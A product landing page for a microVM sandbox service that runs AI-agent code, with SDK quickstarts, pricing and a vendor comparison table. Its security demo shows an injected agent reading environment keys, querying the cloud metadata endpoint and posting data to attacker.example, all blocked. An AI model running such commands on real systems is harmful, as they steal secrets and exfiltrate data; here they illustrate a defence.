Branch a running sandbox
Fork memory and processes. Run every branch.
branches = sandbox.fork(4)
Run the code your AI agents write on isolated machines that start in 34 ms. That code never sees your API keys and cannot reach your network.
Own root, own user, a syscall filter and limits for each microVM.
Read the isolation testsOne method surface, so the quickstart reads the same in each language.
5languages
1method surface
31helpers in every SDK
1
2
3
4
5
6
from svm.sandbox import Sandbox sandbox = Sandbox.create(template="base") result = sandbox.commands.run("uname -a") print(result.stdout) sandbox.kill()
import { Sandbox } from "@svm/sandbox"; const sandbox = await Sandbox.create({ template: "base" }); const result = await sandbox.commands.run("uname -a"); console.log(result.stdout); await sandbox.kill();
client, _ := svm.NewClient()
sbx, _ := client.Sandboxes.Create(ctx, svm.CreateParams{Template: "base"})
res, _ := sbx.Commands.Run(ctx, "uname -a")
fmt.Println(res.Stdout)
sbx.Kill(ctx)
Client client = Client.fromEnvironment(); Sandbox sandbox = client.sandboxes().create("base"); Result result = sandbox.commands().run("uname -a"); System.out.println(result.stdout()); sandbox.kill();
require "svm" client = SVM::Client.new sandbox = client.sandboxes.create(template: "base") result = sandbox.commands.run("uname -a") puts result.stdout sandbox.kill
Billed for what a sandbox uses, by the second. Stop paying the moment you stop it.
Three ways to stop paying
one sandbox, start to finish
[RATE]
per vCPU-second
running only
[RATE]
per GiB-second
running only
[RATE]
per GiB-second
running or paused
Assume the agent will be prompt-injected. The sandbox holds no keys and cannot reach your network.
$ env | grep -i key (no output: no keys in the environment) $ curl http://169.254.169.254/latest/meta-data/ blocked: cloud metadata is not reachable $ curl https://attacker.example/upload -d @data blocked: domain is not on the allow list $ curl https://api.github.com/user 200 OK (token added outside the sandbox) $
Fork memory and processes. Run every branch.
branches = sandbox.fork(4)
Computer use, or pages read as text instead of screenshots.
PreviewWindows sandboxes. Join the waitlist
Rollouts fan out, verify each branch and stop the rest.
rollouts.create(sbx, 8, script="pytest", keep=keep_top_k(2))
Run a cell, keep its state for the next one, and get results and charts back.
PythonJavaScriptTypeScriptRJavaBash
from svm.code_interpreter import Sandbox sbx = Sandbox.create() run = sbx.run_code(open("plot.py").read()) png = run.results[0].png # the chart, base64
Also only on SVM
Long jobs keep running while the agent works elsewhere.
Score your agent on public benchmarks without setup.
Lock down one risky command, not the whole sandbox.
Review what an agent did outside the sandbox, in order.
Agents read less, repeat less and pay only while they work.
Token-cheap agent toolsonly on SVM
Mapping, reading and editing a 78-file repository. Our benchmark.
Tool-result cacheonly on SVM
Four forks sharing one tool-result cache; 45% of calls were hits. Our benchmark.
Active-CPU billing
Opt-in active-CPU plan. Idle seconds bill memory only.
SVMAverage of the five leading vendors
Vendors average 12%
3 of 5 only on SVMVendors average 40%
Vendors average 15%
4 of 8 only on SVMVendors average 15%
2 of 4 only on SVM| Feature | SVM | Five leading vendors |
|---|---|---|
| Fewer LLM tokenswhat the agent reads, and how often | ||
| Token-cheap agent toolsOnly SVMView, search, repo map and patch, cut to a token budget | ✓ | none |
| Tool-result cacheOnly SVMA repeated call returns its saved answer, across forks | ✓ | none |
| Accessibility-tree browserOnly SVMPages read as structured text, not screenshots | ✓ | none |
| MCP gateway and server catalogSVM adds per-tool approvals; keys stay outside | ✓ | 1 of 5 |
| Code interpreterPython, JavaScript, TypeScript, R, Java and Bash, with charts | ✓ | 2 of 5 |
| Lower running costpay while it works, not while it waits | ||
| Per-second billing | ✓ | 3 of 5 |
| Bill active CPU onlyAn idle sandbox accrues memory only | ✓ | 1 of 5 |
| Pause and resume with memory | ✓ | 3 of 5 |
| Wake on inbound traffic | ✓ | 1 of 5 |
| Auto-stop, archive and delete timers | ✓ | 4 of 5 |
| Pre-warmed pools | ✓ | 1 of 5 |
| Run in your own cloud | ✓ | 1 of 5 |
| Built for agentssearch, branch, evaluate | ||
| Fork a running sandboxMemory and processes included | ✓ | 2 of 5 |
| RolloutsOnly SVMFan out branches, score each, keep the best | ✓ | none |
| Agent terminalsOnly SVMNamed terminals an agent can leave and rejoin | ✓ | none |
| Eval runnerOnly SVMSWE-bench and Terminal-Bench in one command | ✓ | none |
| Desktop and computer use | ✓ | 2 of 5 |
| OpenTelemetry spans for tool calls | ✓ | 1 of 5 |
| Python, TypeScript, Go, Java and Ruby SDKs | ✓ | 1 of 5 |
| Migration codemodsOnly SVMConvert code written for another vendor's SDK | ✓ | none |
| Securityfor code you did not write | ||
| Keys added outside the guest | ✓ | 2 of 5 |
| Egress rules on path, method and header | ✓ | 1 of 5 |
| In-guest process profilesOnly SVMRun a command read-only, workspace-only or offline | ✓ | none |
| Effects ledgerOnly SVMEvery outside action recorded before it happens | ✓ | none |
Counted from the public documentation of the five leading sandbox vendors, checked [DATE]. Token and cache figures are from our benchmark on a sample repository. How we counted
Already on another sandbox vendor? The svm-migrate codemod rewrites your imports and calls, and reports anything it could not convert.
Imports, calls and settings are rewritten in place.
Anything it could not convert is listed in report.md.
Same tests, now running in a jailed microVM.
Create a sandbox from the SDK you already use.
Not writing the code yourself? Talk to us